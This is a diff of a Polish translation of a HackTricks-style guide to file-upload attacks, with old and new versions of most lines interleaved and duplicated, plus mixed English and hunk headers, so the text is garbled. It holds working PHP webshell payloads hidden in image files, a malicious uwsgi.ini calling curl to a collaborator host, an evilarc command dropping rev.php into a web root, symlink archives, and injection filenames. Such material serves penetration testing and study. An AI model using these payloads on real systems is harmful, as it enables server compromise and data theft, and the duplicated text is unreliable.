8. Spróbuj złamać limity nazw plików. Ważne rozszerzenie zostaje obcięte. A złośliwy PHP zostaje. AAA<--SNIP-->AAA.php
|
||||
7. Używanie **NTFS alternate data stream (ADS)** w **Windows**. W tym przypadku po zabronionym rozszerzeniu i przed dozwolonym zostanie wstawiony dwukropek ":”. W rezultacie na serwerze zostanie utworzony **pusty plik z zabronionym rozszerzeniem** (np. "file.asax:.jpg”). Ten plik może być później edytowany innymi technikami, np. używając jego krótkiej nazwy. Wzorzec "**::$data**” może być również użyty do tworzenia plików niepustych. Dlatego dodanie kropki po tym wzorcu może być przydatne do ominięcia dalszych ograniczeń (np. "file.asp::$data.”)
|
||||
8. Spróbuj przekroczyć limity długości nazwy pliku. Prawidłowe rozszerzenie zostaje odcięte, a złośliwy PHP pozostaje. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux maksymalnie 255 bajtów
|
||||
# Linux maximum 255 bytes
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 tutaj i dodanie .png
|
||||
# Prześlij plik i sprawdź odpowiedź, ile znaków pozwala. Powiedzmy 236
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
|
||||
# Upload the file and check response how many characters it alllows. Let's say 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
# Stwórz ładunek
|
||||
# Make the payload
|
||||
AAA<--SNIP 232 A-->AAA.php.png
|
||||
```
|
||||
|
||||
### Ominięcie Content-Type, Magic Number, Kompresji i Zmiany rozmiaru
|
||||
### Omijanie Content-Type, magic number, kompresji i zmiany rozmiaru
|
||||
|
||||
- Omiń sprawdzanie **Content-Type** ustawiając **wartość** nagłówka **Content-Type** na: _image/png_, _text/plain_, application/octet-stream_
|
||||
1. Lista słów kluczowych Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- Omiń sprawdzanie **magic number** dodając na początku pliku **bajty prawdziwego obrazu** (zdezorientuj polecenie _file_). Lub wprowadź powłokę wewnątrz **metadanych**:\
|
||||
- Omijaj kontrole nagłówka **Content-Type** ustawiając wartość nagłówka **Content-Type** na: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- Omijaj kontrolę **magic number** dodając na początku pliku **bajty prawdziwego obrazu** (zmylić polecenie _file_). Lub wprowadź shell wewnątrz **metadanych**:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` lub możesz również **wprowadzić ładunek bezpośrednio** w obrazie:\
|
||||
`\` lub możesz też **wprowadzić payload bezpośrednio** do obrazu:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- Jeśli **kompresja jest dodawana do twojego obrazu**, na przykład przy użyciu niektórych standardowych bibliotek PHP, takich jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), wcześniejsze techniki nie będą przydatne. Możesz jednak użyć **techniki PLTE chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
|
||||
- [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- Strona internetowa może również **zmieniać rozmiar** **obrazu**, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Możesz jednak użyć **techniki IDAT chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
|
||||
- [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Inną techniką do stworzenia ładunku, który **przetrwa zmianę rozmiaru obrazu**, jest użycie funkcji PHP-GD `thumbnailImage`. Możesz jednak użyć **techniki tEXt chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
|
||||
- [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
- Jeśli do Twojego obrazu jest dodawana **kompresja**, na przykład przy użyciu bibliotek PHP takich jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), powyższe techniki mogą być nieskuteczne. Możesz jednak użyć **PLTE chunk** [**techniki opisanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- Strona może również **zmieniać rozmiar** obrazu, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Możesz jednak użyć **IDAT chunk** [**techniki opisanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Inna technika na stworzenie payloadu, który **przetrwa zmianę rozmiaru obrazu**, wykorzystuje funkcję PHP-GD `thumbnailImage`. Możesz także użyć **tEXt chunk** [**techniki opisanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### Inne sztuczki do sprawdzenia
|
||||
|
||||
- Znajdź lukę, aby **zmienić nazwę** już przesłanego pliku (aby zmienić rozszerzenie).
|
||||
- Znajdź lukę **Local File Inclusion**, aby wykonać backdoora.
|
||||
- Znajdź podatność pozwalającą **zmienić nazwę** już przesłanego pliku (aby zmienić rozszerzenie).
|
||||
- Znajdź podatność **Local File Inclusion** aby uruchomić backdoor.
|
||||
- **Możliwe ujawnienie informacji**:
|
||||
1. Prześlij **wielokrotnie** (i **jednocześnie**) **ten sam plik** o **tej samej nazwie**
|
||||
2. Prześlij plik o **nazwie** pliku lub **folderu**, który **już istnieje**
|
||||
3. Przesyłanie pliku z **“.”, “..”, lub “…” jako jego nazwą**. Na przykład, w Apache w **Windows**, jeśli aplikacja zapisuje przesłane pliki w katalogu “/www/uploads/”, nazwa “.” utworzy plik o nazwie “uploads” w katalogu “/www/”.
|
||||
4. Prześlij plik, który może być trudny do usunięcia, taki jak **“…:.jpg”** w **NTFS**. (Windows)
|
||||
5. Prześlij plik w **Windows** z **nieprawidłowymi znakami** takimi jak `|<>*?”` w jego nazwie. (Windows)
|
||||
6. Prześlij plik w **Windows** używając **zarezerwowanych** (**zabronionych**) **nazw** takich jak CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, i LPT9.
|
||||
- Spróbuj również **przesłać plik wykonywalny** (.exe) lub **.html** (mniej podejrzany), który **wykona kod** po przypadkowym otwarciu przez ofiarę.
|
||||
1. Prześlij **kilka razy** (i w **tym samym czasie**) **ten sam plik** o **tej samej nazwie**
|
||||
2. Prześlij plik o **nazwie** pliku lub folderu, który **już istnieje**
|
||||
3. Przesłanie pliku o nazwie **"." , "..” lub "…”**. Na przykład w Apache na **Windows**, jeśli aplikacja zapisuje przesłane pliki w katalogu "/www/uploads/”, nazwa pliku "." utworzy plik o nazwie "uploads” w katalogu "/www/".
|
||||
4. Prześlij plik, którego nie da się łatwo usunąć, taki jak **"…:.jpg”** w **NTFS**. (Windows)
|
||||
5. Prześlij plik w **Windows** z **nieprawidłowymi znakami** takimi jak `|<>*?”` w nazwie. (Windows)
|
||||
6. Prześlij plik w **Windows** używając zastrzeżonych (**zabronionych**) nazw takich jak CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, i LPT9.
|
||||
- Spróbuj także **przesłać plik wykonywalny** (.exe) lub **.html** (mniej podejrzane), który **wykona kod** po przypadkowym otwarciu przez ofiarę.
|
||||
|
||||
### Specjalne sztuczki z rozszerzeniami
|
||||
### Specjalne triki z rozszerzeniami
|
||||
|
||||
Jeśli próbujesz przesłać pliki do **serwera PHP**, [zobacz sztuczkę **.htaccess** do wykonania kodu](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
Jeśli próbujesz przesłać pliki do **serwera ASP**, [zobacz sztuczkę **.config** do wykonania kodu](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
Jeśli próbujesz przesyłać pliki na serwer **PHP**, {take a look at the **.htaccess** trick to execute code}(https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
Jeśli próbujesz przesyłać pliki na serwer **ASP**, {take a look at the **.config** trick to execute code}(../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
Pliki `.phar` są jak `.jar` dla javy, ale dla php, i mogą być **używane jak plik php** (wykonując je za pomocą php lub włączając je do skryptu...)
|
||||
Pliki `.phar` są jak `.jar` dla Java, ale dla php, i mogą być **używane jak plik php** (wykonywane przez php, lub includowane w skrypcie...)
|
||||
|
||||
Rozszerzenie `.inc` jest czasami używane dla plików php, które są używane tylko do **importowania plików**, więc w pewnym momencie ktoś mógł pozwolić na **wykonywanie tego rozszerzenia**.
|
||||
Rozszerzenie `.inc` jest czasami używane dla plików php, które służą jedynie do **importu plików**, więc w pewnym momencie ktoś mógł pozwolić na **wykonywanie tego rozszerzenia**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
Jeśli możesz przesłać plik XML na serwer Jetty, możesz uzyskać [RCE, ponieważ **nowe \*.xml i \*.war są automatycznie przetwarzane**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Jak wspomniano na poniższym obrazie, prześlij plik XML do `$JETTY_BASE/webapps/` i oczekuj powłoki!
|
||||
If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Więc, jak pokazano na poniższym obrazku, prześlij plik XML do `$JETTY_BASE/webapps/` i oczekuj shell'a!
|
||||
|
||||
.png>)
|
||||
|
||||
## **uWSGI RCE**
|
||||
|
||||
Aby szczegółowo zbadać tę lukę, sprawdź oryginalne badania: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Luki w zdalnym wykonywaniu poleceń (RCE) mogą być wykorzystywane w serwerach uWSGI, jeśli ma się możliwość modyfikacji pliku konfiguracyjnego `.ini`. Pliki konfiguracyjne uWSGI wykorzystują specyficzną składnię do włączania "magicznych" zmiennych, miejsc i operatorów. Szczególnie potężny jest operator '@', używany jako `@(filename)`, zaprojektowany do włączania zawartości pliku. Wśród różnych obsługiwanych schematów w uWSGI, schemat "exec" jest szczególnie potężny, pozwalając na odczyt danych z standardowego wyjścia procesu. Ta funkcja może być manipulowana w celach niecnych, takich jak zdalne wykonywanie poleceń lub dowolne zapisywanie/odczytywanie plików, gdy plik konfiguracyjny `.ini` jest przetwarzany.
|
||||
Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed.
|
||||
|
||||
Rozważ następujący przykład szkodliwego pliku `uwsgi.ini`, pokazującego różne schematy:
|
||||
Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes:
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
Wykonanie ładunku następuje podczas analizy pliku konfiguracyjnego. Aby konfiguracja mogła zostać aktywowana i przeanalizowana, proces uWSGI musi zostać zrestartowany (potencjalnie po awarii lub z powodu ataku typu Denial of Service) lub plik musi być ustawiony na automatyczne przeładowanie. Funkcja automatycznego przeładowania, jeśli jest włączona, przeładowuje plik w określonych odstępach czasu po wykryciu zmian.
|
||||
Wykonanie payload następuje podczas parsowania pliku konfiguracyjnego. Aby konfiguracja została aktywowana i sparsowana, proces uWSGI musi zostać zrestartowany (potencjalnie po awarii lub w wyniku Denial of Service attack) lub plik musi mieć włączone auto-reload. Funkcja auto-reload, jeśli jest włączona, przeładowuje plik w określonych odstępach po wykryciu zmian.
|
||||
|
||||
Kluczowe jest zrozumienie luźnej natury analizy pliku konfiguracyjnego uWSGI. W szczególności omawiany ładunek może być wstawiony do pliku binarnego (takiego jak obraz lub PDF), co dodatkowo poszerza zakres potencjalnej eksploatacji.
|
||||
Konieczne jest zrozumienie luźnego sposobu parsowania pliku konfiguracyjnego przez uWSGI. Konkretnie, omawiany payload może być wstawiony do pliku binarnego (takiego jak obraz lub PDF), co dodatkowo rozszerza zakres możliwej eksploatacji.
|
||||
|
||||
## **wget File Upload/SSRF Trick**
|
||||
|
||||
W niektórych przypadkach możesz zauważyć, że serwer używa **`wget`** do **pobierania plików** i możesz **wskazać** **URL**. W takich przypadkach kod może sprawdzać, czy rozszerzenie pobieranych plików znajduje się na liście dozwolonych, aby upewnić się, że tylko dozwolone pliki będą pobierane. Jednak **to sprawdzenie można obejść.**\
|
||||
Maksymalna długość **nazwy pliku** w **linux** wynosi **255**, jednak **wget** skraca nazwy plików do **236** znaków. Możesz **pobrać plik o nazwie "A"\*232+".php"+".gif"**, ta nazwa pliku **obejdzie** **sprawdzenie** (ponieważ w tym przykładzie **".gif"** jest **ważnym** rozszerzeniem), ale `wget` **zmieni nazwę** pliku na **"A"\*232+".php"**.
|
||||
W niektórych przypadkach możesz stwierdzić, że serwer używa **`wget`** do **pobierania plików** i możesz **wskazać** **URL**. W takich sytuacjach kod może sprawdzać, czy rozszerzenie pobieranych plików znajduje się na whitelist, aby zapewnić, że pobrane zostaną tylko dozwolone pliki. Jednak **ten check można obejść.**\
|
||||
Maksymalna długość nazwy pliku w **linux** to **255**, jednak **wget** obcina nazwy plików do **236** znaków. Możesz pobrać plik o nazwie "A"\*232+".php"+".gif" — ta nazwa ominie check (ponieważ w tym przykładzie **".gif"** jest dozwolonym rozszerzeniem), ale `wget` zmieni nazwę pliku na "A"\*232+".php".
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -156,45 +156,50 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
Zauważ, że **inną opcją**, o której możesz myśleć, aby obejść tę kontrolę, jest **przekierowanie serwera HTTP do innego pliku**, dzięki czemu początkowy adres URL obejdzie kontrolę, a następnie wget pobierze przekierowany plik z nową nazwą. To **nie zadziała** **chyba że** wget jest używany z **parametrem** `--trust-server-names`, ponieważ **wget pobierze przekierowaną stronę z nazwą pliku wskazaną w oryginalnym adresie URL**.
|
||||
Zauważ, że **inną opcją**, o której możesz myśleć, aby obejść tę kontrolę, jest sprawienie, żeby **serwer HTTP przekierował do innego pliku**, więc początkowy URL ominie kontrolę, a następnie wget pobierze przekierowany plik pod nową nazwą. To **nie zadziała** **chyba że** wget jest używany z **parametrem** `--trust-server-names`, ponieważ **wget pobierze przekierowaną stronę pod nazwą pliku wskazaną w oryginalnym URL**.
|
||||
|
||||
## Narzędzia
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) to potężne narzędzie zaprojektowane, aby wspierać Pentesterów i Łowców Błędów w testowaniu mechanizmów przesyłania plików. Wykorzystuje różne techniki bug bounty, aby uprościć proces identyfikacji i wykorzystywania luk, zapewniając dokładne oceny aplikacji internetowych.
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) to potężne narzędzie zaprojektowane, by wspomóc Pentesters i Bug Hunters w testowaniu mechanizmów uploadu plików. Wykorzystuje różne techniki bug bounty, upraszczając proces identyfikacji i wykorzystywania podatności, zapewniając gruntowną ocenę aplikacji webowych.
|
||||
|
||||
## Od przesyłania plików do innych luk
|
||||
### Corrupting upload indices with snprintf quirks (historical)
|
||||
|
||||
- Ustaw **filename** na `../../../tmp/lol.png` i spróbuj osiągnąć **przechodzenie ścieżki**
|
||||
- Ustaw **filename** na `sleep(10)-- -.jpg` i możesz być w stanie osiągnąć **SQL injection**
|
||||
- Ustaw **filename** na `<svg onload=alert(document.domain)>`, aby osiągnąć XSS
|
||||
- Ustaw **filename** na `; sleep 10;`, aby przetestować pewne wstrzykiwanie poleceń (więcej [sztuczek wstrzykiwania poleceń tutaj](../command-injection.md))
|
||||
- [**XSS** w przesyłaniu plików obrazów (svg)](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||
- **JS** plik **upload** + **XSS** = [**Wykorzystanie Service Workers**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
- [**XXE w przesyłaniu svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**Open Redirect** poprzez przesyłanie pliku svg](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- Spróbuj **różnych ładunków svg** z [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
- [Słynna luka **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- Jeśli możesz **wskazać serwer internetowy, aby pobrał obraz z URL**, możesz spróbować wykorzystać [SSRF](../ssrf-server-side-request-forgery/index.html). Jeśli ten **obraz** ma być **zapisany** na jakiejś **publicznej** stronie, możesz również wskazać URL z [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukraść informacje od każdego odwiedzającego**.
|
||||
- [**XXE i CORS** obejście z przesyłaniem PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- Specjalnie przygotowane PDF-y do XSS: [następująca strona przedstawia, jak **wstrzyknąć dane PDF, aby uzyskać wykonanie JS**](../xss-cross-site-scripting/pdf-injection.md). Jeśli możesz przesyłać PDF-y, możesz przygotować PDF, który wykona dowolny JS zgodnie z podanymi wskazówkami.
|
||||
- Prześlij zawartość \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)), aby sprawdzić, czy serwer ma jakikolwiek **antywirus**
|
||||
- Sprawdź, czy istnieje jakikolwiek **limit rozmiaru** podczas przesyłania plików
|
||||
Niektóre legacy upload handlery używające `snprintf()` lub podobnych do budowania tablic multi-file z pojedynczego uploadu mogą zostać oszukane tak, by sfałszować strukturę `_FILES`. Z powodu niespójności i obcinania w zachowaniu `snprintf()`, starannie przygotowany pojedynczy upload może wyglądać po stronie serwera jak wiele plików z indeksami, co wprowadza w błąd logikę zakładającą sztywną strukturę (np. traktując to jako multi-file upload i wybierając niebezpieczne ścieżki). Choć dziś niszowe, ten wzorzec „index corruption” czasem powraca w CTFs i starszych kodach.
|
||||
|
||||
Oto lista 10 rzeczy, które możesz osiągnąć, przesyłając (z [tutaj](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
## Od uploadu pliku do innych podatności
|
||||
|
||||
- Ustaw **filename** na `../../../tmp/lol.png` i spróbuj osiągnąć **path traversal**
|
||||
- Ustaw **filename** na `sleep(10)-- -.jpg` i możesz osiągnąć **SQL injection**
|
||||
- Ustaw **filename** na `<svg onload=alert(document.domain)>`, aby osiągnąć **XSS**
|
||||
- Ustaw **filename** na `; sleep 10;`, aby przetestować pewne command injection (more [command injections tricks here](../command-injection.md))
|
||||
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- Wypróbuj **różne svg payloady** z [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- Jeśli możesz **zlecić serwerowi pobranie obrazu z URL**, możesz spróbować nadużyć [SSRF](../ssrf-server-side-request-forgery/index.html). Jeśli ten **obraz** zostanie **zapisany** w jakimś **publicznym** miejscu, możesz też podać URL z [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukraść informacje o każdym odwiedzającym**.
|
||||
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- Specjalnie spreparowane PDFy do XSS: Strona [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). Jeśli możesz uploadować PDFy, możesz przygotować taki PDF, który wykona dowolny JS zgodnie z podanymi wskazówkami.
|
||||
- Wyślij zawartość \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) aby sprawdzić, czy serwer ma jakiś **antivirus**
|
||||
- Sprawdź, czy istnieje jakiś **limit rozmiaru** przy uploadzie plików
|
||||
|
||||
Oto lista top 10 rzeczy, które możesz osiągnąć przez upload (źródło: [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||
2. **SVG**: Przechowywane XSS / SSRF / XXE
|
||||
3. **GIF**: Przechowywane XSS / SSRF
|
||||
4. **CSV**: Wstrzykiwanie CSV
|
||||
2. **SVG**: Stored XSS / SSRF / XXE
|
||||
3. **GIF**: Stored XSS / SSRF
|
||||
4. **CSV**: CSV injection
|
||||
5. **XML**: XXE
|
||||
6. **AVI**: LFI / SSRF
|
||||
7. **HTML / JS** : Wstrzykiwanie HTML / XSS / Otwarte przekierowanie
|
||||
8. **PNG / JPEG**: Atak pixel flood (DoS)
|
||||
9. **ZIP**: RCE poprzez LFI / DoS
|
||||
7. **HTML / JS** : HTML injection / XSS / Open redirect
|
||||
8. **PNG / JPEG**: Pixel flood attack (DoS)
|
||||
9. **ZIP**: RCE via LFI / DoS
|
||||
10. **PDF / PPTX**: SSRF / BLIND XXE
|
||||
|
||||
#### Rozszerzenie Burp
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/portswigger/upload-scanner
|
||||
{{#endref}}
|
||||
@ -204,34 +209,34 @@ https://github.com/portswigger/upload-scanner
|
||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
|
||||
- **JPG**: `"\xff\xd8\xff"`
|
||||
|
||||
Odniesienie do [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) dla innych typów plików.
|
||||
Zobacz [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) dla innych typów plików.
|
||||
|
||||
## Automatycznie dekompresowane przesyłanie plików Zip/Tar
|
||||
## Automatyczne rozpakowywanie ZIP/TAR po uploadzie
|
||||
|
||||
Jeśli możesz przesłać ZIP, który ma być dekompresowany na serwerze, możesz zrobić 2 rzeczy:
|
||||
Jeśli możesz przesłać ZIP, który będzie rozpakowany na serwerze, możesz zrobić dwie rzeczy:
|
||||
|
||||
### Symlink
|
||||
|
||||
Prześlij link zawierający miękkie linki do innych plików, a następnie, uzyskując dostęp do dekompresowanych plików, uzyskasz dostęp do powiązanych plików:
|
||||
Wyślij archiwum zawierające dowiązania symboliczne do innych plików, a następnie, uzyskując dostęp do rozpakowanych plików, otrzymasz dostęp do wskazanych plików:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### Decompress in different folders
|
||||
### Rozpakowywanie do różnych folderów
|
||||
|
||||
Nieoczekiwane tworzenie plików w katalogach podczas dekompresji jest poważnym problemem. Mimo początkowych założeń, że ta konfiguracja może chronić przed wykonaniem poleceń na poziomie systemu operacyjnego poprzez złośliwe przesyłanie plików, hierarchiczne wsparcie dla kompresji i możliwości przechodzenia przez katalogi formatu archiwum ZIP mogą być wykorzystane. Umożliwia to atakującym obejście ograniczeń i ucieczkę z bezpiecznych katalogów przesyłania, manipulując funkcjonalnością dekompresji docelowej aplikacji.
|
||||
Nieoczekiwane tworzenie plików w katalogach podczas dekompresji stanowi poważny problem. Pomimo początkowych założeń, że taka konfiguracja może chronić przed OS-level command execution poprzez złośliwe file uploads, obsługa hierarchicznej kompresji i możliwości directory traversal formatu ZIP mogą zostać wykorzystane. Pozwala to atakującym obejść ograniczenia i wydostać się z bezpiecznych upload directories przez manipulację funkcją dekompresji aplikacji docelowej.
|
||||
|
||||
Zautomatyzowany exploit do tworzenia takich plików jest dostępny na [**evilarc na GitHubie**](https://github.com/ptoomey3/evilarc). Narzędzie można używać w sposób pokazany:
|
||||
Zautomatyzowany exploit umożliwiający utworzenie takich plików jest dostępny pod [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Narzędzie można użyć jak pokazano:
|
||||
```python
|
||||
# Listing available options
|
||||
python2 evilarc.py -h
|
||||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
Dodatkowo, **sztuczka z symlinkiem z evilarc** jest opcją. Jeśli celem jest celowanie w plik taki jak `/flag.txt`, należy utworzyć symlink do tego pliku w swoim systemie. Zapewnia to, że evilarc nie napotka błędów podczas swojej operacji.
|
||||
Dodatkowo, **symlink trick with evilarc** jest opcją. Jeśli celem jest zaatakowanie pliku takiego jak `/flag.txt`, należy utworzyć symlink do tego pliku w swoim systemie. To zapewnia, że evilarc nie napotka błędów podczas działania.
|
||||
|
||||
Poniżej znajduje się przykład kodu Python używanego do stworzenia złośliwego pliku zip:
|
||||
Poniżej znajduje się przykład kodu Python użytego do stworzenia złośliwego pliku zip:
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
import zipfile
|
